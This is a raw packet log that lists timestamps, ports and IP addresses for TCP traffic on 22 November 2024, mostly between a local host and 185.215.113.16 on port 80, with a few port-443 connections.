Nov 22, 2024 04:12:26.752245903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.752295017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.752338886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.752386093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.755507946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.755553007 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.755598068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.755641937 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.758749962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.758799076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.758845091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.758892059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.762006044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.762057066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.762099981 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.762151957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.765325069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.765367985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.765429020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.765474081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.768537998 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.768589020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.768640995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.768683910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.771766901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.771825075 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.771867037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.771917105 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.775181055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.775226116 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.775295973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.775366068 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.778304100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.778351068 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.778394938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.778438091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.781593084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.781634092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.781712055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.781755924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.784816980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.784861088 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.784907103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.784948111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.788058996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.788117886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.788161993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.788206100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.791326046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.791384935 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.791429996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.791481972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.794583082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.794662952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.794755936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.794800997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.797828913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.797894955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.797924042 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.797969103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.801081896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.801127911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.801172018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.801215887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.804335117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.804383039 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.804426908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.804472923 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.807632923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.807682037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.807723999 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.807768106 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.810854912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.810902119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.810946941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.810988903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.814099073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.814150095 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.814194918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.814238071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.817378998 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.817449093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.817485094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.817529917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.820566893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.820614100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.942697048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.942816973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.942821980 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.942866087 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.943474054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.943521976 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.943595886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.943644047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.946218967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.946264982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.946342945 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.946389914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.948908091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.948959112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.949017048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.949060917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.951690912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.951741934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.951802015 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.951850891 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.953332901 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:26.953800917 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:26.953819036 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:26.954214096 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:26.954219103 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:26.954349995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.954396963 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.954446077 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.954493046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.957068920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.957117081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.957163095 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.957209110 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.959830999 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.959877968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.959938049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.959981918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.962527037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.962589979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.962629080 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.962680101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.965289116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.965400934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.965437889 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.965491056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.967988968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.968045950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.968108892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.968159914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.970731020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.970781088 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.970885992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.971045971 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.973445892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.973500967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.973567009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.973618031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.976170063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.976268053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.976284027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.976330996 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.978884935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.978940010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.979007006 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.979060888 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.981615067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.981666088 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.981724977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.981774092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.984361887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.984414101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.984539032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.984589100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.987081051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.987189054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.987212896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.987257957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.989804029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.989864111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.989897013 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.989948034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.992517948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.992564917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.992609978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.992660046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.995242119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.995296955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.995352030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.995399952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.998039961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.998090982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.998095036 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.998142004 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.000683069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.000739098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.000793934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.000847101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.003413916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.003468037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.003532887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.003583908 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.006138086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.006190062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.006258011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.006309986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.008862972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.008915901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.008982897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.009032011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.011609077 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.011662006 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.011717081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.011766911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.014321089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.014373064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.014439106 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.014597893 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.017035007 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.017096043 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.017162085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.017211914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.019754887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.019851923 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.019867897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.019916058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.022479057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.022533894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.022600889 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.022653103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.025226116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.025271893 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.025352001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.025393009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.027962923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.028016090 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.028083086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.028130054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.030648947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.030697107 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.030766964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.030817986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.033391953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.033437014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.033502102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.033550978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.036108017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.036151886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.036175966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.036226034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.038846970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.038908958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.038968086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.039014101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.041740894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.041796923 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.041856050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.041901112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.044343948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.044398069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.044466019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.044513941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.047017097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.047060966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.047127962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.047177076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.049746990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.049798012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.049833059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.049881935 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.052575111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.052628040 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.052692890 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.052741051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.055196047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.055243969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.055301905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.055356979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.057913065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.057965994 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.058032036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.058084011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.060611963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.060666084 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.060712099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.060760021 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.134891033 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.135268927 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.135351896 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.135735035 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.135750055 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.143573999 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.143742085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.143805027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.143882036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.143934011 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.143940926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.143982887 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.144406080 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.144423008 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.144432068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.144481897 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.144558907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.144608974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.148679972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.148730993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.148735046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.148807049 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.149502039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.149549961 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.150098085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.150145054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.151170015 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.151221037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.151288986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.151333094 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.153367996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.153460979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.153492928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.153538942 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.155544996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.155592918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.155630112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.155674934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.157700062 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.157746077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.157809973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.157854080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.159780025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.159835100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.159900904 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.159946918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.161895990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.161955118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.162004948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.162050962 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.163969994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.164067030 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.164083004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.164130926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.166029930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.166085958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.166146994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.166194916 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.168025017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.168085098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.168143988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.168190002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.170037031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.170106888 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.170140982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.170192957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.172027111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.172096014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.172096968 CET	80	49798	185.215.113.16	192.168.2.4
